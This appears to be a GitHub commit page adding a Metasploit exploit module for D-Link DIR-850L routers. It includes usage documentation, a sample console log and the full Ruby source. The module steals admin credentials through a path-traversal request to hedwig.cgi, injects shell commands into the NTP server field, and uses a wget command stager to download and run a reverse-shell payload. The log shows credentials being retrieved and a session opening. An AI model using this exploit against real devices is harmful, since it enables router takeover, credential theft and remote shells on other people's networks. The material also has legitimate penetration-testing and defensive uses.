Skip to content

Commit f3e2f4d

Browse files
committed
Land rapid7#9167, D-Link DIR-850L exploit
2 parents 7b5ec9d + 3936d3b commit f3e2f4d

File tree

3 files changed

+295
-1
lines changed

3 files changed

+295
-1
lines changed
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
The module dlink_dir850_(un)auth_exec leverages an unauthenticated credential disclosure vulnerability to then execute arbitrary commands via an authenticated OS command injection
2+
vulnerability. D-LINK 850L (excluding "Cloud" models) devices with firmware version up to 1.14B07
3+
are potentially vulnerable. The vulnerability seems to occur within the parsing of the config. Another PoC can be found here https://www.seebug.org/vuldb/ssvid-96333. Setting command to be `reboot` will force the router into an infinite loop.
4+
5+
## Vulnerable Application
6+
7+
8+
1. Start msfconsole
9+
2. Do : `use exploit/linux/http/dlink_dir850l_unauth_exec.rb`
10+
3. Do : `set RHOST [RouterIP]`
11+
4. Do : `set PAYLOAD linux/mipsbe/shell/reverse_tcp`
12+
5. Do : `run`
13+
6. If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
14+
15+
16+
## Example
17+
18+
```
19+
msf > use exploit/linux/http/dlink_dir850l_unauth_exec
20+
msf exploit(dlink_dir850l_unauth_exec) > set RHOST 192.168.0.14
21+
RHOST => 192.168.0.14
22+
msf exploit(dlink_dir850l_unauth_exec) > set RPORT 80
23+
RPORT => 80
24+
msf exploit(dlink_dir850l_unauth_exec) > check
25+
[*] 192.168.0.14:80 The target service is running, but could not be validated.
26+
msf exploit(dlink_dir850l_unauth_exec) > set VERBOSE true
27+
VERBOSE => true
28+
msf exploit(dlink_dir850l_unauth_exec) > set LHOST ens3
29+
LHOST => ens3
30+
msf exploit(dlink_dir850l_unauth_exec) > set LPORT 3131
31+
LPORT => 3131
32+
msf exploit(dlink_dir850l_unauth_exec) > run
33+
34+
[*] Started reverse TCP handler on 192.168.0.11:3131
35+
[*] 192.168.0.14:80 - Connecting to target...
36+
[+] 192.168.0.14:80 - Retrieved the username/password combo Admin/92830535
37+
[+] 192.168.0.14:80 - Downloaded credentials to /root/.msf4/loot/20171104113614_default_192.168.0.14_dlink.dir850l.lo_146186.txt
38+
[*] 192.168.0.14:80 - Starting up web service http://192.168.0.11:8080/ZUrlVeWUm
39+
[*] Using URL: http://0.0.0.0:8080/ZUrlVeWUm
40+
[*] Local IP: http://192.168.0.11:8080/ZUrlVeWUm
41+
[*] 192.168.0.14:80 - Asking target to request to download http://192.168.0.11:8080/ZUrlVeWUm
42+
[*] 192.168.0.14:80 - Waiting for target to request the ELF payload...
43+
[*] 192.168.0.14:80 - Sending payload to the server...
44+
[*] 192.168.0.14:80 - Requesting device to chmod ZUrlVeWUm
45+
[*] 192.168.0.14:80 - Requesting device to execute ZUrlVeWUm
46+
[*] 192.168.0.14:80 - Waiting 10 seconds for shell to connect back to us...
47+
[*] Sending stage (84 bytes) to 192.168.0.14
48+
[*] Command shell session 1 opened (192.168.0.11:3131 -> 192.168.0.14:43953) at 2017-11-04 11:36:26 -0400
49+
[+] Deleted /tmp/uoskutcy
50+
[-] Exploit aborted due to failure: unknown: 192.168.0.14:80 - Shell never connected to us!, disconnect?
51+
[*] Server stopped.
52+
[*] Exploit completed, but no session was created.
53+
msf exploit(dlink_dir850l_unauth_exec) > sessions -i 1
54+
[*] Starting interaction with 1...
55+
56+
190745749
57+
wUVNdEKSrgeaxdSQyfTyxvaoYgFzyvGj
58+
true
59+
pQfaUhhwMvgnWrLpQXhhUAioNBFHPRZP
60+
OgkEaOTPYbUEOLlLpLFEbodBvHFmVRmH
61+
iNaYBrmsZqFyolPWWRKEHsKglrSlSGkY
62+
pwd
63+
/
64+
```
Lines changed: 230 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,230 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'openssl'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Report
13+
include Msf::Exploit::CmdStager
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'DIR-850L (Un)authenticated OS Command Exec',
18+
'Description' => %q{
19+
This module leverages an unauthenticated credential disclosure
20+
vulnerability to then execute arbitrary commands on DIR-850L routers
21+
as an authenticated user. Unable to use Meterpreter payloads.
22+
},
23+
'Author' => [
24+
'Mumbai', # https://github.com/realoriginal (module)
25+
'Zdenda' # vuln discovery
26+
],
27+
'References' => [
28+
['URL', 'https://www.seebug.org/vuldb/ssvid-96333'],
29+
['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
30+
],
31+
'DisclosureDate' => 'Aug 9 2017',
32+
'License' => MSF_LICENSE,
33+
'Platform' => 'linux',
34+
'Arch' => ARCH_MIPSBE,
35+
'DefaultTarget' => 0,
36+
'DefaultOptions' => {
37+
'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp'
38+
},
39+
'Privileged' => true,
40+
'Payload' => {
41+
'DisableNops' => true,
42+
},
43+
'Targets' => [[ 'Automatic', {} ]],
44+
))
45+
end
46+
47+
def check
48+
begin
49+
res = send_request_cgi({
50+
'uri' => '/',
51+
'method' => 'GET'
52+
})
53+
if res && res.headers['Server']
54+
auth = res.headers['Server']
55+
if auth =~ /DIR-850L/
56+
if auth =~ /WEBACCESS\/1\.0/
57+
return Exploit::CheckCode::Safe
58+
else
59+
return Exploit::CheckCode::Detected
60+
end
61+
end
62+
end
63+
rescue ::Rex::ConnectionError
64+
return Exploit::CheckCode::Unknown
65+
end
66+
Exploit::CheckCode::Unknown
67+
end
68+
69+
def report_cred(opts)
70+
service_data = {
71+
address: opts[:ip],
72+
port: opts[:port],
73+
service_name: opts[:service_name],
74+
protocol: 'tcp',
75+
workspace_id: myworkspace_id
76+
}
77+
78+
credential_data = {
79+
origin_type: :service,
80+
module_fullname: fullname,
81+
username: opts[:user],
82+
private_data: opts[:password],
83+
private_type: :password
84+
}.merge(service_data)
85+
86+
login_data = {
87+
core: create_credential(credential_data),
88+
status: Metasploit::Model::Login::Status::UNTRIED,
89+
proof: opts[:proof]
90+
}.merge(service_data)
91+
92+
create_credential_login(login_data)
93+
end
94+
95+
96+
# some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
97+
# should write an auxiliary module to-do -> WRITE AUXILIARY
98+
def retrieve_creds
99+
begin
100+
xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
101+
xml << "<postxml>\r\n"
102+
xml << "<module>\r\n"
103+
xml << " <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
104+
xml << "</module>\r\n"
105+
xml << "</postxml>"
106+
res = send_request_cgi({
107+
'uri' => '/hedwig.cgi',
108+
'method' => 'POST',
109+
'encode_params' => false,
110+
'headers' => {
111+
'Accept-Encoding' => 'gzip, deflate',
112+
'Accept' => '*/*'
113+
},
114+
'ctype' => 'text/xml',
115+
'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
116+
'data' => xml,
117+
})
118+
if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue
119+
parse = res.get_xml_document
120+
username = parse.at('//name').text
121+
password = parse.at('//password').text
122+
vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
123+
loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
124+
print_good("#{peer} - Downloaded credentials to #{loot}")
125+
return username, password
126+
else
127+
fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
128+
end
129+
rescue ::Rex::ConnectionError
130+
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
131+
end
132+
end
133+
134+
def retrieve_uid
135+
begin
136+
res = send_request_cgi({
137+
'uri' => '/authentication.cgi',
138+
'method' => 'GET',
139+
})
140+
parse = res.get_json_document
141+
uid = parse['uid']
142+
challenge = parse['challenge']
143+
return uid, challenge
144+
rescue ::Rex::ConnectionError
145+
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
146+
end
147+
end
148+
149+
def login(username, password)
150+
uid, challenge = retrieve_uid
151+
begin
152+
hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
153+
send_request_cgi({
154+
'uri' => '/authentication.cgi',
155+
'method' => 'POST',
156+
'data' => "id=#{username}&password=#{hash}",
157+
'cookie' => "uid=#{uid}"
158+
})
159+
return uid
160+
rescue ::Rex::ConnectionError
161+
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
162+
end
163+
end
164+
165+
def execute_command(cmd, opts)
166+
uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
167+
payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
168+
payload << "<postxml>\r\n"
169+
payload << "<module>\r\n"
170+
payload << " <service>DEVICE.TIME</service>\r\n"
171+
payload << " <device>\r\n"
172+
payload << " <time>\r\n"
173+
payload << " <ntp>\r\n"
174+
payload << " <enable>1</enable>\r\n"
175+
payload << " <period>604800</period>\r\n"
176+
payload << " <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}&); </server>\r\n"
177+
payload << " </ntp>\r\n"
178+
payload << " <ntp6>\r\n"
179+
payload << " <enable>1</enable>\r\n"
180+
payload << " <period>604800</period>\r\n"
181+
payload << " </ntp6>\r\n"
182+
payload << " <timezone>20</timezone>\r\n"
183+
payload << " <time/>\r\n"
184+
payload << " <date/>\r\n"
185+
payload << " <dst>0</dst>\r\n"
186+
payload << " <dstmanual/>\r\n"
187+
payload << " <dstoffset/>\r\n"
188+
payload << " </time>\r\n"
189+
payload << " </device>\r\n"
190+
payload << "</module>\r\n"
191+
payload << "</postxml>"
192+
begin
193+
# save configuration
194+
res = send_request_cgi({
195+
'uri' => '/hedwig.cgi',
196+
'method' => 'POST',
197+
'ctype' => 'text/xml',
198+
'data' => payload,
199+
'cookie' => "uid=#{uid}"
200+
})
201+
# execute configuration
202+
res = send_request_cgi({
203+
'uri' => '/pigwidgeon.cgi',
204+
'method' => 'POST',
205+
'data' => 'ACTIONS=SETCFG,ACTIVATE',
206+
'cookie' => "uid=#{uid}"
207+
})
208+
return res
209+
rescue ::Rex::ConnectionError
210+
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
211+
end
212+
end
213+
214+
215+
def exploit
216+
print_status("#{peer} - Connecting to target...")
217+
218+
unless check == Exploit::CheckCode::Detected
219+
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
220+
end
221+
#
222+
# Information Retrieval, obtains creds and logs in
223+
#
224+
@username, @password = retrieve_creds
225+
execute_cmdstager(
226+
:flavor => :wget,
227+
:linemax => 200
228+
)
229+
end
230+
end

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ def initialize(info = {})
1818
DGN2000v1 models.
1919
},
2020
'Author' => [
21-
'Mumbai <https://github.com/realoriginal>', # module
21+
'Mumbai', # https://github.com/realoriginal (module)
2222
'Robort Palerie <[email protected]>' # vuln discovery
2323
],
2424
'References' => [

0 commit comments

Comments
 (0)